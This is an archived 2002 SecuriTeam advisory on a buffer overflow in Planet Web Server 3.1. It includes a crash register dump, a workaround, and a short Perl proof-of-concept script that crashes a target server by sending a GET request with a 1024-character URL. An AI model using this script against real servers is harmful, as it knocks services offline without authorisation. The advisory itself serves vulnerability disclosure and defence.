

# [NT] Planet Web Software Buffer Overflow

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-09/0068.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 09/18/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 18 Sep 2002 14:50:26 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Planet Web Software Buffer Overflow

---

## SUMMARY

<<http://www.planetdns.net/menu/list/85/page/72/>> PlanetWeb is a complete commercial software package that provides you with everything you need to run your own website directly from your computer. A vulnerability in the product allows attackers to cause the program to crash.

## DETAILS

Vulnerable systems:

Planet Web version 3.1

A buffer overflow exists in versions 3.1 and previous of Planet Web Software. Exploitation of this vulnerability allows remote execution of arbitrary code with daemon privileges.

Detailed Description:

Sending a GET request containing a URL of approximately 1024 characters or more causes Planet Web Server to crash. Exploitation is possible and proof of concept code has been authored to demonstrate this problem.

Result:

PDNSC caused an invalid page fault in module KERNEL32.DLL at 0167:bff9db61.

## Securiteam: [NT] Planet Web Software Buffer Overflow

### Registers:

EAX=c00309c4 CS=0167 EIP=bf9db61 EFLGS=00010216

EBX=ffffff SS=016f ESP=0214fde8 EBP=02150084

ECX=00000000 DS=016f ESI=81770a14 FS=4217

EDX=bf76855 ES=016f EDI=02150120 GS=0000

### Bytes at CS:EIP:

53 8b 15 e4 9c fc bf 56 89 4d e4 57 89 4d dc 89

### Stack dump:

### Solution:

Disable the Planet Web Server until a patch is made available by the vendor.

### Exploit code:

----- exploit - cut here -----

```
#!/usr/bin/perl
# PlanetWeb Software perl exploit
# by UkR-XbIP / UkR security team
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 vulnerable_server
.." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                PeerAddr => $host,
                                PeerPort => "http(80)",
                                );
unless ($remote) { die "cannot connect to http daemon on
$host" }
$xblp = "A" x 1024;
$exploit = "GET /".$xblp." HTTP/1.0\n\n";
$remote->autoflush(1);
print $remote $exploit;
close $remote;
```

----- exploit - cut here -----

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:cuctema@ok.ru>> UkR security team.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

## Securiteam: [NT] Planet Web Software Buffer Overflow

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- ***Previous message:*** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Microsoft Windows Remote Desktop Protocol Checksum and Keystroke Vulnerabilities"
- ***Messages sorted by:*** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)